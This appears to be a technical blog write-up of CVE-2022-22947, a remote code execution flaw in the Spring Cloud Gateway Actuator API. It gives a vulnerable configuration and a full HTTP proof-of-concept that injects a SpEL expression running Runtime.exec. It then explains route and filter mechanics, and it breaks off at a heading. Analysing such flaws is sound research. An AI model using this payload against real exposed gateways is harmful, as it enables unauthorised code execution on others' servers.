
Detailed analysis and exploit for CVE-2022-22947, a remote code execution vulnerability in Spring Cloud Gateway via SpEL injection in the Actuator API. Includes PoC, memory shell injection, and root cause breakdown.
Spring Cloud Gateway is a new project under Spring Cloud, built on Spring 5.0, Spring Boot 2.0, and Project Reactor. It aims to provide a simple and effective unified API routing management method for microservice architectures. Recently, Spring Cloud Gateway was reported to have a critical RCE vulnerability CVE. The CVE details indicate that when the application enables and exposes the Gateway Actuator endpoint of Spring Cloud Gateway, it is vulnerable to remote code injection attacks. An attacker can send malicious requests to execute arbitrary code remotely. Currently affected versions are as follows:
This analysis learns the vulnerability principle and further exploitation methods by reproducing this CVE.
Use the following dependencies to create a Maven project:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
spring boot default configuration, only the `health` endpoint is exposed via web. If you need to expose the `gateway`, you need to manually configure it, refer to [official documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Send the following POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Then send ```POST /actuator/gateway/refresh``` to refresh the route cache to trigger the POC:

## Principle Analysis
Observing the POC above, first a route is dynamically added via ```POST /actuator/gateway/routes/test2```. During the route addition, there is a filter that processes input parameters, which can parse the value as a SpEL expression, and then when the route cache is refreshed, the POC is triggered.
First, let's look at the mechanism of Spring Cloud Gateway's dynamic route configuration.
### Dynamic Route Configuration
Spring Cloud Gateway supports registering routes via code/configuration files. Taking the official [demo](https://spring.io/guides/gs/gateway/) as an example:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
The way of configuration files is similar to code:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
The routes added by these two methods are static; if you need to add, modify, or delete route configurations and rules, you must restart the application for them to take effect. However, in practice, Spring Cloud Gateway serves as the entry point for all traffic and requires high availability. Therefore, after exposing the `/gateway` endpoint, you can dynamically add, delete, and modify route information via `/gateway/routes`. However, the route information added in this way only exists in memory; once the service restarts, the newly added route configuration information is lost.
From the route registration format above, a route information includes a target URI, a filter collection, and a predicates collection. The predicates can match requests using any content from the HTTP request (headers, parameters). Spring Cloud Gateway has many built-in route predicate factory classes, such as Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Filters are used to modify requests or responses before or after sending the request. Similarly, there are many built-in filter sets. In the RCE triggering payload above, we used the `AddResponseHeader` filter. Other filters include `RewritePath`, `SetPath`, etc. There are two types of filters: `GlobalFilter`, which is valid for all routes, and `GatewayFilter`, which is only valid for a single route. For details, refer to https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Request Flow
So, what is the specific flow when a request arrives at the gateway and then goes to the backend proxied service? The flow in the official documentation is as follows:

The client sends a request to Spring Cloud Gateway. Then, in the Gateway Handler Mapping, the matching route is found and sent to the Gateway Web Handler. The Handler then sends the request to our actual service through the specified filter chain to execute business logic, and then returns. Filters are separated by dashed lines because they may execute business logic before (pre) or after (post) sending the proxy request.
`RoutePredicateHandlerMapping` finds the route, and then the `webHandler` processes it:

In the `webHandler`, after finding `gatewayFilters` and `globalFilters`, they are sorted according to the `Order` value defined in the filters, forming a filter chain, and all filters are executed.

### Dynamic Route Registration